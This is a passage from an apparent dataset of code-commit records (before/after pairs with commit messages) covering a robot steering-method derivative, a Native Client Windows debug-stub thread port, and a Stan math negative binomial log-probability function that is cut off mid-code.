(initial_ [rzId_ + 1]);\n        value_type dx, dy, dtheta = 0;\n        value_type c (cos (curvature_ * t)), s (sin (curvature_ * t));\n\n        if (order <= 0) {\n          std::ostringstream oss;\n          oss << \"order of derivative (\" << order << \") should be positive.\";\n          throw std::runtime_error (oss.str ().c_str ());\n        }\n        if (order == 1) {\n          dx = alpha * (c0 * c - s0 * s);\n          dy = alpha * (c0 * s + s0 * c);\n          dtheta = alpha * curvature_;\n        } else if (order % 4 == 2) {\n          dx =  alpha * pow (curvature_, (value_type) (order - 1)) *\n            (c0 * s + s0 * c);\n          dy = -alpha * pow (curvature_, (value_type) (order - 1)) *\n            (c0 * c - s0 * s);\n        } else if (order % 4 == 3) {\n          dx = -alpha * pow (curvature_, (value_type) (order - 1)) *\n            (c0 * c - s0 * s);\n          dy = -alpha * pow (curvature_, (value_type) (order - 1)) *\n            (c0 * s + s0 * c);\n        } else if (order % 4 == 0) {\n          dx =  alpha * pow (curvature_, (value_type) (order - 1)) *\n            (c0 * s + s0 * c);\n          dy = -alpha * pow (curvature_, (value_type) (order - 1)) *\n            (c0 * c - s0 * s);\n        } else if (order % 4 == 1) {\n          dx =  alpha * pow (curvature_, (value_type) (order - 1)) *\n            (c0 * c - s0 * s);\n          dy =  alpha * pow (curvature_, (value_type) (order - 1)) *\n            (c0 * s + s0 * c);\n        }\n\n        result [dxyId_ + 0] = dx;\n        result [dxyId_ + 1] = dy;\n        result [rzId_] = dtheta;\n\n        \/\/ Set wheel joint velocities\n        for (std::vector<Wheels_t>::const_iterator w = wheels_.begin ();\n             w < wheels_.end (); ++w) {\n          result [w->j->rankInConfiguration ()] = 0;\n        }\n      }\n\n      inline value_type meanBounds(const JointPtr_t& j, const size_type& i)\n      {\n        return (j->upperBound(i) + j->lowerBound(i))\/2;\n      }\n\n      inline value_type saturate (const value_type& v, const JointPtr_t& j,\n                                  const size_type& i)\n      {\n        return std::min(j->upperBound(i), std::max(j->lowerBound(i), v));\n      }\n\n      void ConstantCurvature::setWheelJoints\n      (const JointPtr_t rz, const std::vector<JointPtr_t> wheels)\n      {\n        Transform3f zt (rz->currentTransformation ().inverse ());\n        wheels_.resize(wheels.size());\n        std::size_t rk = 0;\n        if (curvature_ == 0) {\n          for (std::vector<JointPtr_t>::const_iterator _wheels = wheels.begin();\n               _wheels != wheels.end(); ++_wheels) {\n            wheels_[rk].j = *_wheels;\n            wheels_[rk].value = meanBounds(wheels_[rk].j, 0);\n            ++rk;\n          }\n        } else {\n          value_type rho (1.\/curvature_);\n          for (std::vector<JointPtr_t>::const_iterator _wheels = wheels.begin();\n               _wheels != wheels.end(); ++_wheels) {\n            wheels_[rk].j = *_wheels;\n            wheels_[rk].value = meanBounds(wheels_[rk].j, 0);\n            const vector3_t wheelPos = zt.act\n              (wheels_[rk].j->currentTransformation().translation());\n            const value_type value (std::atan(wheelPos[0] \/\n                                              (rho - wheelPos[1])));\n            wheels_[rk].value = saturate(meanBounds(wheels_[rk].j, 0) + value,\n                                         *_wheels, 0);\n            ++rk;\n          }\n        }\n      }\n\n    } \/\/ namespace steeringMethod\n  } \/\/ namespace core\n} \/\/ namespace hpp\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (c) 2012 The Native Client Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include <assert.h>\n#include <windows.h>\n#include <exception>\n#include <stdexcept>\n\n#include \"native_client\/src\/shared\/platform\/nacl_log.h\"\n#include \"native_client\/src\/trusted\/gdb_rsp\/abi.h\"\n#include \"native_client\/src\/trusted\/port\/mutex.h\"\n#include \"native_client\/src\/trusted\/port\/thread.h\"\n#include \"native_client\/src\/trusted\/service_runtime\/nacl_signal.h\"\n\n\/*\n * Define the OS specific portions of IThread interface.\n *\/\n\nnamespace {\n\nconst int kX86TrapFlag = 1 << 8;\n\nconst int kDBG_PRINTEXCEPTION_C = 0x40010006;\n\n}  \/\/ namespace\n\nnamespace port {\n\nstatic IThread::CatchFunc_t s_CatchFunc = NULL;\nstatic void* s_CatchCookie = NULL;\nstatic PVOID s_OldCatch = NULL;\n\nenum PosixSignals {\n  SIGINT  = 2,\n  SIGQUIT = 3,\n  SIGILL  = 4,\n  SIGTRACE= 5,\n  SIGBUS  = 7,\n  SIGFPE  = 8,\n  SIGKILL = 9,\n  SIGSEGV = 11,\n  SIGSTKFLT = 16,\n};\n\n\nstatic IMutex* ThreadGetLock() {\n  static IMutex* mutex_ = IMutex::Allocate();\n  return mutex_;\n}\n\nstatic IThread::ThreadMap_t *ThreadGetMap() {\n  static IThread::ThreadMap_t* map_ = new IThread::ThreadMap_t;\n  return map_;\n}\n\nstatic int8_t ExceptionToSignal(int ex) {\n  switch (ex) {\n    case EXCEPTION_GUARD_PAGE:\n    case EXCEPTION_ARRAY_BOUNDS_EXCEEDED:\n    case EXCEPTION_DATATYPE_MISALIGNMENT:\n    case EXCEPTION_ACCESS_VIOLATION:\n    case EXCEPTION_IN_PAGE_ERROR:\n      return SIGSEGV;\n\n    case EXCEPTION_BREAKPOINT:\n    case EXCEPTION_SINGLE_STEP:\n      return SIGTRACE;\n\n    case EXCEPTION_FLT_DENORMAL_OPERAND:\n    case EXCEPTION_FLT_DIVIDE_BY_ZERO:\n    case EXCEPTION_FLT_INEXACT_RESULT:\n    case EXCEPTION_FLT_INVALID_OPERATION:\n    case EXCEPTION_FLT_OVERFLOW:\n    case EXCEPTION_FLT_STACK_CHECK:\n    case EXCEPTION_FLT_UNDERFLOW:\n      return SIGFPE;\n\n    case EXCEPTION_INT_DIVIDE_BY_ZERO:\n    case EXCEPTION_INT_OVERFLOW:\n    case EXCEPTION_ILLEGAL_INSTRUCTION:\n    case EXCEPTION_PRIV_INSTRUCTION:\n      return SIGILL;\n\n    case EXCEPTION_STACK_OVERFLOW:\n      return SIGSTKFLT;\n\n    case CONTROL_C_EXIT:\n      return SIGQUIT;\n\n    case EXCEPTION_NONCONTINUABLE_EXCEPTION:\n    case EXCEPTION_INVALID_DISPOSITION:\n    case EXCEPTION_INVALID_HANDLE:\n      return SIGILL;\n  }\n  return SIGILL;\n}\n\n\nclass Thread : public IThread {\n public:\n  Thread(uint32_t id, struct NaClAppThread *natp)\n      : ref_(1), id_(id), handle_(NULL), natp_(natp), state_(RUNNING) {\n    handle_ = OpenThread(THREAD_ALL_ACCESS, false, id);\n    if (NULL == handle_) state_ = DEAD;\n  }\n\n  ~Thread() {\n    if (NULL == handle_) return;\n\n    \/\/ This should always succeed, so ignore the return.\n    (void) CloseHandle(handle_);\n  }\n\n  uint32_t GetId() {\n    return id_;\n  }\n\n  State GetState() {\n    return state_;\n  }\n\n  virtual bool Suspend() {\n    MutexLock lock(ThreadGetLock());\n    if (state_ != RUNNING) return false;\n\n    \/\/ Attempt to suspend the thread\n    DWORD count = SuspendThread(handle_);\n\n    CONTEXT win_context;\n    win_context.ContextFlags = CONTEXT_ALL;\n    if (!GetThreadContext(handle_, &win_context)) {\n      NaClLog(LOG_FATAL, \"Thread::Suspend: GetThreadContext failed\\n\");\n    }\n    NaClSignalContextFromHandler(&context_, &win_context);\n\n    if (count != -1) {\n      state_ = SUSPENDED;\n      return true;\n    }\n\n    return false;\n  }\n\n  virtual bool Resume() {\n    MutexLock lock(ThreadGetLock());\n    if (state_ != SUSPENDED) return false;\n\n    CONTEXT win_context;\n    win_context.ContextFlags = CONTEXT_ALL;\n    NaClSignalContextToHandler(&win_context, &context_);\n    if (!SetThreadContext(handle_, &win_context)) {\n      NaClLog(LOG_FATAL, \"Thread::Resume: SetThreadContext failed\\n\");\n    }\n\n    \/\/ Attempt to resume the thread\n    if (ResumeThread(handle_) != -1) {\n      state_ = RUNNING;\n      return true;\n    }\n\n    return false;\n  }\n\n  virtual bool SetStep(bool on) {\n#if NACL_ARCH(NACL_BUILD_ARCH) == NACL_x86\n    if (on) {\n      context_.flags |= kX86TrapFlag;\n    } else {\n      context_.flags &= ~kX86TrapFlag;\n    }\n    return true;\n#else\n    \/\/ TODO(mseaborn): Implement for ARM.\n    UNREFERENCED_PARAMETER(on);\n    return false;\n#endif\n  }\n\n  virtual bool GetRegister(uint32_t index, void *dst, uint32_t len) {\n    const gdb_rsp::Abi *abi = gdb_rsp::Abi::Get();\n    const gdb_rsp::Abi::RegDef *reg = abi->GetRegisterDef(index);\n    memcpy(dst, (char *) &context_ + reg->offset_, len);\n    return false;\n  }\n\n  virtual bool SetRegister(uint32_t index, void *src, uint32_t len) {\n    const gdb_rsp::Abi *abi = gdb_rsp::Abi::Get();\n    const gdb_rsp::Abi::RegDef *reg = abi->GetRegisterDef(index);\n    memcpy((char *) &context_ + reg->offset_, src, len);\n    return false;\n  }\n\n  virtual void* GetContext() { return &context_; }\n\n  static LONG NTAPI ExceptionCatch(PEXCEPTION_POINTERS ep) {\n    uint32_t id = static_cast<uint32_t>(GetCurrentThreadId());\n    Thread* thread = static_cast<Thread*>(Acquire(id));\n\n    \/\/ This 2 lines is a fix for the bug:\n    \/\/ 366: Linux GDB doesn't work for Chrome\n    \/\/ http:\/\/code.google.com\/p\/nativeclient\/issues\/detail?id=366\n    \/\/ When debug stub thread opens socket to listen (for RSP debugger),\n    \/\/ it triggers some component to send DBG_PRINTEXCEPTION(with string\n    \/\/ \"swi_lsp: non-browser app; disable\"), then VEH handler goes into wait\n    \/\/ for debugger to resolve exception.\n    \/\/ But debugger is not connected, and debug thread is not listening on\n    \/\/ connection! It get stuck.\n    \/\/ Ignoring this exception - for now - helps debug stub start on chrome.\n    \/\/ Now it can listen on RSP connection and can get debugger connected etc.\n    if (kDBG_PRINTEXCEPTION_C == ep->ExceptionRecord->ExceptionCode) {\n      return EXCEPTION_CONTINUE_EXECUTION;\n    }\n\n    \/\/ If we are not tracking this thread, then ignore it\n    if (NULL == thread) return EXCEPTION_CONTINUE_SEARCH;\n\n    State old_state = thread->state_;\n    thread->state_ = SIGNALED;\n    int8_t sig = ExceptionToSignal(ep->ExceptionRecord->ExceptionCode);\n\n    \/\/ Handle EXCEPTION_BREAKPOINT SEH\/VEH handler special case:\n    \/\/ Here instruction pointer from the CONTEXT structure points to the int3\n    \/\/ instruction, not after the int3 instruction.\n    \/\/ This is different from the hardware context, and (thus) different from\n    \/\/ the context obtained via GetThreadContext on Windows and from signal\n    \/\/ handler context on Linux.\n    \/\/ See http:\/\/code.google.com\/p\/nativeclient\/issues\/detail?id=1730.\n    \/\/ We adjust instruction pointer to match the hardware.\n    if (ep->ExceptionRecord->ExceptionCode == EXCEPTION_BREAKPOINT) {\n#if NACL_BUILD_SUBARCH == 64\n      ep->ContextRecord->Rip += 1;\n#else\n      ep->ContextRecord->Eip += 1;\n#endif\n    }\n\n    struct NaClSignalContext *context =\n        (struct NaClSignalContext *)thread->GetContext();\n    NaClSignalContextFromHandler(context, ep->ContextRecord);\n    if (NULL != s_CatchFunc) s_CatchFunc(id, sig, s_CatchCookie);\n    NaClSignalContextToHandler(ep->ContextRecord, context);\n\n    thread->state_ = old_state;\n    Release(thread);\n    return EXCEPTION_CONTINUE_EXECUTION;\n  }\n\n\n private:\n  uint32_t ref_;\n  uint32_t id_;\n  struct NaClAppThread *natp_;\n  State  state_;\n  HANDLE handle_;\n  struct NaClSignalContext context_;\n\n  friend class IThread;\n};\n\nIThread* IThread::Create(uint32_t id, struct NaClAppThread* natp) {\n  MutexLock lock(ThreadGetLock());\n  Thread* thread;\n  ThreadMap_t &map = *ThreadGetMap();\n\n  if (map.count(id)) {\n    NaClLog(LOG_FATAL, \"IThread::Create: thread 0x%x already exists\\n\", id);\n  }\n\n  thread = new Thread(id, natp);\n  if (NULL == thread->handle_) {\n    delete thread;\n    return NULL;\n  }\n\n  map[id] = thread;\n  return thread;\n}\n\nIThread* IThread::Acquire(uint32_t id) {\n  MutexLock lock(ThreadGetLock());\n  Thread* thread;\n  ThreadMap_t &map = *ThreadGetMap();\n\n  if (map.count(id) == 0) {\n    NaClLog(LOG_FATAL, \"IThread::Acquire: thread 0x%x does not exist\\n\", id);\n  }\n\n  thread = static_cast<Thread*>(map[id]);\n  thread->ref_++;\n  return thread;\n}\n\nvoid IThread::Release(IThread *ithread) {\n  MutexLock lock(ThreadGetLock());\n  Thread* thread = static_cast<Thread*>(ithread);\n  thread->ref_--;\n\n  if (thread->ref_ == 0) {\n    ThreadGetMap()->erase(thread->id_);\n    delete static_cast<IThread*>(thread);\n  }\n}\n\nvoid IThread::SetExceptionCatch(IThread::CatchFunc_t func, void *cookie) {\n  MutexLock lock(ThreadGetLock());\n\n  \/\/ Remove our old catch if there is one, this allows us to add again\n  if (NULL != s_OldCatch) RemoveVectoredExceptionHandler(s_OldCatch);\n\n  \/\/ Add the new one, at the front of the list\n  s_OldCatch = AddVectoredExceptionHandler(1, Thread::ExceptionCatch);\n  s_CatchFunc = func;\n  s_CatchCookie = cookie;\n}\n\n\n}  \/\/ End of port namespace\n\n<commit_msg>Debug stub: use NaClThread::tid handle for Win threads<commit_after>\/*\n * Copyright (c) 2012 The Native Client Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include <assert.h>\n#include <windows.h>\n#include <exception>\n#include <stdexcept>\n\n#include \"native_client\/src\/shared\/platform\/nacl_log.h\"\n#include \"native_client\/src\/trusted\/gdb_rsp\/abi.h\"\n#include \"native_client\/src\/trusted\/port\/mutex.h\"\n#include \"native_client\/src\/trusted\/port\/thread.h\"\n#include \"native_client\/src\/trusted\/service_runtime\/nacl_app_thread.h\"\n#include \"native_client\/src\/trusted\/service_runtime\/nacl_signal.h\"\n\n\/*\n * Define the OS specific portions of IThread interface.\n *\/\n\nnamespace {\n\nconst int kX86TrapFlag = 1 << 8;\n\nconst int kDBG_PRINTEXCEPTION_C = 0x40010006;\n\n}  \/\/ namespace\n\nnamespace port {\n\nstatic IThread::CatchFunc_t s_CatchFunc = NULL;\nstatic void* s_CatchCookie = NULL;\nstatic PVOID s_OldCatch = NULL;\n\nenum PosixSignals {\n  SIGINT  = 2,\n  SIGQUIT = 3,\n  SIGILL  = 4,\n  SIGTRACE= 5,\n  SIGBUS  = 7,\n  SIGFPE  = 8,\n  SIGKILL = 9,\n  SIGSEGV = 11,\n  SIGSTKFLT = 16,\n};\n\n\nstatic IMutex* ThreadGetLock() {\n  static IMutex* mutex_ = IMutex::Allocate();\n  return mutex_;\n}\n\nstatic IThread::ThreadMap_t *ThreadGetMap() {\n  static IThread::ThreadMap_t* map_ = new IThread::ThreadMap_t;\n  return map_;\n}\n\nstatic int8_t ExceptionToSignal(int ex) {\n  switch (ex) {\n    case EXCEPTION_GUARD_PAGE:\n    case EXCEPTION_ARRAY_BOUNDS_EXCEEDED:\n    case EXCEPTION_DATATYPE_MISALIGNMENT:\n    case EXCEPTION_ACCESS_VIOLATION:\n    case EXCEPTION_IN_PAGE_ERROR:\n      return SIGSEGV;\n\n    case EXCEPTION_BREAKPOINT:\n    case EXCEPTION_SINGLE_STEP:\n      return SIGTRACE;\n\n    case EXCEPTION_FLT_DENORMAL_OPERAND:\n    case EXCEPTION_FLT_DIVIDE_BY_ZERO:\n    case EXCEPTION_FLT_INEXACT_RESULT:\n    case EXCEPTION_FLT_INVALID_OPERATION:\n    case EXCEPTION_FLT_OVERFLOW:\n    case EXCEPTION_FLT_STACK_CHECK:\n    case EXCEPTION_FLT_UNDERFLOW:\n      return SIGFPE;\n\n    case EXCEPTION_INT_DIVIDE_BY_ZERO:\n    case EXCEPTION_INT_OVERFLOW:\n    case EXCEPTION_ILLEGAL_INSTRUCTION:\n    case EXCEPTION_PRIV_INSTRUCTION:\n      return SIGILL;\n\n    case EXCEPTION_STACK_OVERFLOW:\n      return SIGSTKFLT;\n\n    case CONTROL_C_EXIT:\n      return SIGQUIT;\n\n    case EXCEPTION_NONCONTINUABLE_EXCEPTION:\n    case EXCEPTION_INVALID_DISPOSITION:\n    case EXCEPTION_INVALID_HANDLE:\n      return SIGILL;\n  }\n  return SIGILL;\n}\n\n\nclass Thread : public IThread {\n public:\n  Thread(uint32_t id, struct NaClAppThread *natp)\n      : ref_(1), id_(id), natp_(natp), state_(RUNNING) {}\n\n  ~Thread() {}\n\n  uint32_t GetId() {\n    return id_;\n  }\n\n  State GetState() {\n    return state_;\n  }\n\n  virtual bool Suspend() {\n    MutexLock lock(ThreadGetLock());\n    if (state_ != RUNNING) return false;\n\n    \/\/ Attempt to suspend the thread\n    DWORD count = SuspendThread(natp_->thread.tid);\n\n    CONTEXT win_context;\n    win_context.ContextFlags = CONTEXT_ALL;\n    if (!GetThreadContext(natp_->thread.tid, &win_context)) {\n      NaClLog(LOG_FATAL, \"Thread::Suspend: GetThreadContext failed\\n\");\n    }\n    NaClSignalContextFromHandler(&context_, &win_context);\n\n    if (count != -1) {\n      state_ = SUSPENDED;\n      return true;\n    }\n\n    return false;\n  }\n\n  virtual bool Resume() {\n    MutexLock lock(ThreadGetLock());\n    if (state_ != SUSPENDED) return false;\n\n    CONTEXT win_context;\n    win_context.ContextFlags = CONTEXT_ALL;\n    NaClSignalContextToHandler(&win_context, &context_);\n    if (!SetThreadContext(natp_->thread.tid, &win_context)) {\n      NaClLog(LOG_FATAL, \"Thread::Resume: SetThreadContext failed\\n\");\n    }\n\n    \/\/ Attempt to resume the thread\n    if (ResumeThread(natp_->thread.tid) != -1) {\n      state_ = RUNNING;\n      return true;\n    }\n\n    return false;\n  }\n\n  virtual bool SetStep(bool on) {\n#if NACL_ARCH(NACL_BUILD_ARCH) == NACL_x86\n    if (on) {\n      context_.flags |= kX86TrapFlag;\n    } else {\n      context_.flags &= ~kX86TrapFlag;\n    }\n    return true;\n#else\n    \/\/ TODO(mseaborn): Implement for ARM.\n    UNREFERENCED_PARAMETER(on);\n    return false;\n#endif\n  }\n\n  virtual bool GetRegister(uint32_t index, void *dst, uint32_t len) {\n    const gdb_rsp::Abi *abi = gdb_rsp::Abi::Get();\n    const gdb_rsp::Abi::RegDef *reg = abi->GetRegisterDef(index);\n    memcpy(dst, (char *) &context_ + reg->offset_, len);\n    return false;\n  }\n\n  virtual bool SetRegister(uint32_t index, void *src, uint32_t len) {\n    const gdb_rsp::Abi *abi = gdb_rsp::Abi::Get();\n    const gdb_rsp::Abi::RegDef *reg = abi->GetRegisterDef(index);\n    memcpy((char *) &context_ + reg->offset_, src, len);\n    return false;\n  }\n\n  virtual void* GetContext() { return &context_; }\n\n  static LONG NTAPI ExceptionCatch(PEXCEPTION_POINTERS ep) {\n    uint32_t id = static_cast<uint32_t>(GetCurrentThreadId());\n    Thread* thread = static_cast<Thread*>(Acquire(id));\n\n    \/\/ This 2 lines is a fix for the bug:\n    \/\/ 366: Linux GDB doesn't work for Chrome\n    \/\/ http:\/\/code.google.com\/p\/nativeclient\/issues\/detail?id=366\n    \/\/ When debug stub thread opens socket to listen (for RSP debugger),\n    \/\/ it triggers some component to send DBG_PRINTEXCEPTION(with string\n    \/\/ \"swi_lsp: non-browser app; disable\"), then VEH handler goes into wait\n    \/\/ for debugger to resolve exception.\n    \/\/ But debugger is not connected, and debug thread is not listening on\n    \/\/ connection! It get stuck.\n    \/\/ Ignoring this exception - for now - helps debug stub start on chrome.\n    \/\/ Now it can listen on RSP connection and can get debugger connected etc.\n    if (kDBG_PRINTEXCEPTION_C == ep->ExceptionRecord->ExceptionCode) {\n      return EXCEPTION_CONTINUE_EXECUTION;\n    }\n\n    \/\/ If we are not tracking this thread, then ignore it\n    if (NULL == thread) return EXCEPTION_CONTINUE_SEARCH;\n\n    State old_state = thread->state_;\n    thread->state_ = SIGNALED;\n    int8_t sig = ExceptionToSignal(ep->ExceptionRecord->ExceptionCode);\n\n    \/\/ Handle EXCEPTION_BREAKPOINT SEH\/VEH handler special case:\n    \/\/ Here instruction pointer from the CONTEXT structure points to the int3\n    \/\/ instruction, not after the int3 instruction.\n    \/\/ This is different from the hardware context, and (thus) different from\n    \/\/ the context obtained via GetThreadContext on Windows and from signal\n    \/\/ handler context on Linux.\n    \/\/ See http:\/\/code.google.com\/p\/nativeclient\/issues\/detail?id=1730.\n    \/\/ We adjust instruction pointer to match the hardware.\n    if (ep->ExceptionRecord->ExceptionCode == EXCEPTION_BREAKPOINT) {\n#if NACL_BUILD_SUBARCH == 64\n      ep->ContextRecord->Rip += 1;\n#else\n      ep->ContextRecord->Eip += 1;\n#endif\n    }\n\n    struct NaClSignalContext *context =\n        (struct NaClSignalContext *)thread->GetContext();\n    NaClSignalContextFromHandler(context, ep->ContextRecord);\n    if (NULL != s_CatchFunc) s_CatchFunc(id, sig, s_CatchCookie);\n    NaClSignalContextToHandler(ep->ContextRecord, context);\n\n    thread->state_ = old_state;\n    Release(thread);\n    return EXCEPTION_CONTINUE_EXECUTION;\n  }\n\n\n private:\n  uint32_t ref_;\n  uint32_t id_;\n  struct NaClAppThread *natp_;\n  State  state_;\n  struct NaClSignalContext context_;\n\n  friend class IThread;\n};\n\nIThread* IThread::Create(uint32_t id, struct NaClAppThread* natp) {\n  MutexLock lock(ThreadGetLock());\n  Thread* thread;\n  ThreadMap_t &map = *ThreadGetMap();\n\n  if (map.count(id)) {\n    NaClLog(LOG_FATAL, \"IThread::Create: thread 0x%x already exists\\n\", id);\n  }\n\n  thread = new Thread(id, natp);\n  map[id] = thread;\n  return thread;\n}\n\nIThread* IThread::Acquire(uint32_t id) {\n  MutexLock lock(ThreadGetLock());\n  Thread* thread;\n  ThreadMap_t &map = *ThreadGetMap();\n\n  if (map.count(id) == 0) {\n    NaClLog(LOG_FATAL, \"IThread::Acquire: thread 0x%x does not exist\\n\", id);\n  }\n\n  thread = static_cast<Thread*>(map[id]);\n  thread->ref_++;\n  return thread;\n}\n\nvoid IThread::Release(IThread *ithread) {\n  MutexLock lock(ThreadGetLock());\n  Thread* thread = static_cast<Thread*>(ithread);\n  thread->ref_--;\n\n  if (thread->ref_ == 0) {\n    ThreadGetMap()->erase(thread->id_);\n    delete static_cast<IThread*>(thread);\n  }\n}\n\nvoid IThread::SetExceptionCatch(IThread::CatchFunc_t func, void *cookie) {\n  MutexLock lock(ThreadGetLock());\n\n  \/\/ Remove our old catch if there is one, this allows us to add again\n  if (NULL != s_OldCatch) RemoveVectoredExceptionHandler(s_OldCatch);\n\n  \/\/ Add the new one, at the front of the list\n  s_OldCatch = AddVectoredExceptionHandler(1, Thread::ExceptionCatch);\n  s_CatchFunc = func;\n  s_CatchCookie = cookie;\n}\n\n\n}  \/\/ End of port namespace\n\n<|endoftext|>"}
{"text":"<commit_before>#ifndef STAN_MATH_PRIM_PROB_NEG_BINOMIAL_LPMF_HPP\n#define STAN_MATH_PRIM_PROB_NEG_BINOMIAL_LPMF_HPP\n\n#include <stan\/math\/prim\/meta.hpp>\n#include <stan\/math\/prim\/err.hpp>\n#include <stan\/math\/prim\/fun\/binomial_coefficient_log.hpp>\n#include <stan\/math\/prim\/fun\/constants.hpp>\n#include <stan\/math\/prim\/fun\/digamma.hpp>\n#include <stan\/math\/prim\/fun\/lgamma.hpp>\n#include <stan\/math\/prim\/fun\/log.hpp>\n#include <stan\/math\/prim\/fun\/max_size.hpp>\n#include <stan\/math\/prim\/fun\/multiply_log.hpp>\n#include <stan\/math\/prim\/fun\/size.hpp>\n#include <stan\/math\/prim\/fun\/size_zero.hpp>\n#include <stan\/math\/prim\/fun\/value_of.hpp>\n#include <stan\/math\/prim\/functor\/operands_and_partials.hpp>\n#include <cmath>\n\nnamespace stan {\nnamespace math {\n\nnamespace internal {\n\/\/ Exposing to let me use in tests\n\/\/ The current tests fail for 1e8 and pass for 1e9, so setting to 1e10\nconstexpr double neg_binomial_alpha_cutoff = 1e10;\n}  \/\/ namespace internal\n\n\/\/ NegBinomial(n|alpha, beta)  [alpha > 0;  beta > 0;  n >= 0]\ntemplate <bool propto, typename T_n, typename T_shape, typename T_inv_scale>\nreturn_type_t<T_shape, T_inv_scale> neg_binomial_lpmf(const T_n& n,\n                                                      const T_shape& alpha,\n                                                      const T_inv_scale& beta) {\n  using T_partials_return = partials_return_t<T_n, T_shape, T_inv_scale>;\n  using std::log;\n  static const char* function = \"neg_binomial_lpmf\";\n  check_nonnegative(function, \"Failures variable\", n);\n  check_positive_finite(function, \"Shape parameter\", alpha);\n  check_positive_finite(function, \"Inverse scale parameter\", beta);\n  check_consistent_sizes(function, \"Failures variable\", n, \"Shape parameter\",\n                         alpha, \"Inverse scale parameter\", beta);\n\n  if (size_zero(n, alpha, beta)) {\n    return 0.0;\n  }\n  if (!include_summand<propto, T_shape, T_inv_scale>::value) {\n    return 0.0;\n  }\n\n  T_partials_return logp(0.0);\n  operands_and_partials<T_shape, T_inv_scale> ops_partials(alpha, beta);\n\n  scalar_seq_view<T_n> n_vec(n);\n  scalar_seq_view<T_shape> alpha_vec(alpha);\n  scalar_seq_view<T_inv_scale> beta_vec(beta);\n  size_t size_alpha = stan::math::size(alpha);\n  size_t size_beta = stan::math::size(beta);\n  size_t size_alpha_beta = max_size(alpha, beta);\n  size_t max_size_seq_view = max_size(n, alpha, beta);\n\n  VectorBuilder<!is_constant_all<T_shape>::value, T_partials_return, T_shape>\n      digamma_alpha(size_alpha);\n  if (!is_constant_all<T_shape>::value) {\n    for (size_t i = 0; i < size_alpha; ++i) {\n      digamma_alpha[i] = digamma(value_of(alpha_vec[i]));\n    }\n  }\n\n  VectorBuilder<true, T_partials_return, T_inv_scale> log1p_inv_beta(size_beta);\n  VectorBuilder<true, T_partials_return, T_inv_scale> log1p_beta(size_beta);\n  for (size_t i = 0; i < size_beta; ++i) {\n    const T_partials_return beta_dbl = value_of(beta_vec[i]);\n    log1p_inv_beta[i] = log1p(inv(beta_dbl));\n    log1p_beta[i] = log1p(beta_dbl);\n  }\n\n  VectorBuilder<!is_constant_all<T_inv_scale>::value, T_partials_return,\n                T_shape, T_inv_scale>\n      lambda_m_alpha_over_1p_beta(size_alpha_beta);\n  if (!is_constant_all<T_inv_scale>::value) {\n    for (size_t i = 0; i < size_alpha_beta; ++i) {\n      const T_partials_return alpha_dbl = value_of(alpha_vec[i]);\n      const T_partials_return beta_dbl = value_of(beta_vec[i]);\n      lambda_m_alpha_over_1p_beta[i]\n          = alpha_dbl \/ beta_dbl - alpha_dbl \/ (1 + beta_dbl);\n    }\n  }\n\n  for (size_t i = 0; i < max_size_seq_view; i++) {\n    const T_partials_return alpha_dbl = value_of(alpha_vec[i]);\n    const T_partials_return beta_dbl = value_of(beta_vec[i]);\n\n    if (include_summand<propto, T_shape>::value) {\n      if (n_vec[i] != 0) {\n        logp += binomial_coefficient_log(n_vec[i] + alpha_dbl - 1.0,\n                                         alpha_dbl - 1.0);\n      }\n    }\n    logp += -alpha_dbl * log1p_inv_beta[i] - n_vec[i] * log1p_beta[i];\n\n    if (!is_constant_all<T_shape>::value) {\n      ops_partials.edge1_.partials_[i] += digamma(alpha_dbl + n_vec[i])\n                                          - digamma_alpha[i]\n                                          - log1p_inv_beta[i];\n    }\n    if (!is_constant_all<T_inv_scale>::value) {\n      ops_partials.edge2_.partials_[i]\n          += lambda_m_alpha_over_1p_beta[i] - n_vec[i] \/ (beta_dbl + 1.0);\n    }\n  }\n\n  return ops_partials.build(logp);\n}\n\ntemplate <typename T_n, typename T_shape, typename T_inv_scale>\ninline return_type_t<T_shape, T_inv_scale> neg_binomial_lpmf(\n    const T_n& n, const T_shape& alpha, const T_inv_scale& beta) {\n  return neg_binomial_lpmf<false>(n, alpha, beta);\n}\n\n}  \/\/ namespace math\n}  \/\/ namespace stan\n#endif\n<commit_msg>Pulled alpha\/beta values into their own containers (Issue #1763)<commit_after>#ifndef STAN_MATH_PRIM_PROB_NEG_BINOMIAL_LPMF_HPP\n#define STAN_MATH_PRIM_PROB_NEG_BINOMIAL_LPMF_HPP\n\n#include <stan\/math\/prim\/meta.hpp>\n#include <stan\/math\/prim\/err.hpp>\n#include <stan\/math\/prim\/fun\/binomial_coefficient_log.hpp>\n#include <stan\/math\/prim\/fun\/constants.hpp>\n#include <stan\/math\/prim\/fun\/digamma.hpp>\n#include <stan\/math\/prim\/fun\/lgamma.hpp>\n#include <stan\/math\/prim\/fun\/log.hpp>\n#include <stan\/math\/prim\/fun\/max_size.hpp>\n#include <stan\/math\/prim\/fun\/multiply_log.hpp>\n#include <stan\/math\/prim\/fun\/size.hpp>\n#include <stan\/math\/prim\/fun\/size_zero.hpp>\n#include <stan\/math\/prim\/fun\/value_of.hpp>\n#include <stan\/math\/prim\/functor\/operands_and_partials.hpp>\n#include <cmath>\n\nnamespace stan {\nnamespace math {\n\nnamespace internal {\n\/\/ Exposing to let me use in tests\n\/\/ The current tests fail for 1e8 and pass for 1e9, so setting to 1e10\nconstexpr double neg_binomial_alpha_cutoff = 1e10;\n}  \/\/ namespace internal\n\n\/\/ NegBinomial(n|alpha, beta)  [alpha > 0;  beta > 0;  n >= 0]\ntemplate <bool propto, typename T_n, typename T_shape, typename T_inv_scale>\nreturn_type_t<T_shape, T_inv_scale> neg_binomial_lpmf(const T_n& n,\n                                                      const T_shape& alpha,\n                                                      const T_inv_scale& beta) {\n  using T_partials_return = partials_return_t<T_n, T_shape, T_inv_scale>;\n  using std::log;\n  static const char* function = \"neg_binomial_lpmf\";\n  check_nonnegative(function, \"Failures variable\", n);\n  check_positive_finite(function, \"Shape parameter\", alpha);\n  check_positive_finite(function, \"Inverse scale parameter\", beta);\n  check_consistent_sizes(function, \"Failures variable\", n, \"Shape parameter\",\n                         alpha, \"Inverse scale parameter\", beta);\n\n  if (size_zero(n, alpha, beta)) {\n    return 0.0;\n  }\n  if (!include_summand<propto, T_shape, T_inv_scale>::value) {\n    return 0.0;\n  }\n\n  T_partials_return logp(0.0);\n  operands_and_partials<T_shape, T_inv_scale> ops_partials(alpha, 